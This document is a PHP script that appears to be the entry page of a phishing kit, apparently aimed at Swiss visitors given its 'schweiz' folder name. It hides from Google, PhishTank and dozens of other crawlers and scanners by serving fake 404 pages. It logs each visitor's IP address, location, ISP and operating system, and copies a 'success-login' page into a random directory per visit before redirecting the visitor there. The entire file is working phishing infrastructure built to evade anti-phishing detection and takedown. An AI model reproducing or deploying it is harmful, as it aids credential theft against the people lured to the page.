<?php
session_start();
error_reporting(0);
include "os.php";

if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
date_default_timezone_set('Africa/Tunis');
$TIME = date("d-m-Y H:i:s"); 
$PP = getenv("REMOTE_ADDR");

/* --- Country/City/ISP lookup via ip-api.com (replaces geoplugin) --- */
$COUNTRY = 'Unknown';
$CITY    = 'Unknown';
$ISP     = 'Unknown';

if (!empty($PP)) {
    $ctx = stream_context_create([
        'http' => ['timeout' => 2, 'ignore_errors' => true]
    ]);
    $json = @file_get_contents("http://ip-api.com/json/{$PP}?fields=status,country,city,isp,org", false, $ctx);
    if ($json !== false) {
        $data = json_decode($json, true);
        if (is_array($data) && ($data['status'] ?? '') === 'success') {
            $COUNTRY = $data['country'] ?? 'Unknown';
            $CITY    = $data['city'] ?? 'Unknown';
            $ISP     = !empty($data['isp']) ? $data['isp'] : ($data['org'] ?? 'Unknown');
        }
    }
}

$ip = getenv("REMOTE_ADDR");
$OS = getOS($_SERVER['HTTP_USER_AGENT']);
$file = fopen("logs.txt","a");
/* Log now includes City + ISP */
fwrite($file, $ip." - ".$TIME." - ".$COUNTRY." - ".$CITY." - ".$ISP." - ".$OS."\n");
function is_bitch($user_agent){
    $bitchs = array(
        'Googlebot', 
        'Baiduspider', 
        'ia_archiver',
        'R6_FeedFetcher', 
        'NetcraftSurveyAgent', 
        'Sogou web spider',
        'bingbot', 
        'Yahoo! Slurp', 
        'facebookexternalhit', 
        'PrintfulBot',
        'msnbot', 
        'Twitterbot', 
        'UnwindFetchor', 
        'urlresolver', 
        'Butterfly', 
        'TweetmemeBot',
        'PaperLiBot',
        'MJ12bot',
        'AhrefsBot',
        'Exabot',
        'Ezooms',
        'YandexBot',
        'SearchmetricsBot',
        'phishtank',
        'PhishTank',
        'picsearch',
        'TweetedTimes Bot',
        'QuerySeekerSpider',
        'ShowyouBot',
        'woriobot',
        'merlinkbot',
        'BazQuxBot',
        'Kraken',
        'SISTRIX Crawler',
        'R6_CommentReader',
        'magpie-crawler',
        'GrapeshotCrawler',
        'PercolateCrawler',
        'MaxPointCrawler',
        'R6_FeedFetcher',
        'NetSeer crawler',
        'grokkit-crawler',
        'SMXCrawler',
        'PulseCrawler',
        'Y!J-BRW',
        '80legs.com/webcrawler',
        'Mediapartners-Google', 
        'Spinn3r', 
        'InAGist', 
        'Python-urllib', 
        'NING', 
        'TencentTraveler',
        'Feedfetcher-Google', 
        'mon.itor.us', 
        'spbot', 
        'Feedly',
        'bot',
        'curl',
        "spider",
        "crawler");
        foreach($bitchs as $bitch){
            if( stripos( $user_agent, $bitch ) !== false ) return true;
        }
        return false;
}
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) {
    echo "404 NOT FOUND";
    exit;
}

/* PHP 8+ fix: curly-brace string offset -> square brackets */
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 5; $x = rand(0,$z), $DIR .= $a[$x], $i++);

$src="./success-login";
$random = rand(0,100000).$_SERVER['REMOTE_ADDR'];
$dst        = "./processing/schweiz".$DIR;
    
function recurse_copy($src, $dst) {

    $dir = opendir($src);
    $result = ($dir === false ? false : true);

    if ($result !== false) {
        $result = @mkdir($dst);

        if ($result === true) {
            while(false !== ( $file = readdir($dir)) ) { 
                if (( $file != '.' ) && ( $file != '..' ) && $result) { 
                    if ( is_dir($src . '/' . $file) ) { 
                        $result = recurse_copy($src . '/' . $file,$dst . '/' . $file); 
                    } else { 
                        $result = copy($src . '/' . $file,$dst . '/' . $file); 
                    } 
                } 
            } 
            closedir($dir);
        }
    }

    return $result;
}
recurse_copy( $src, $dst );
header("location:".$dst."");
?>
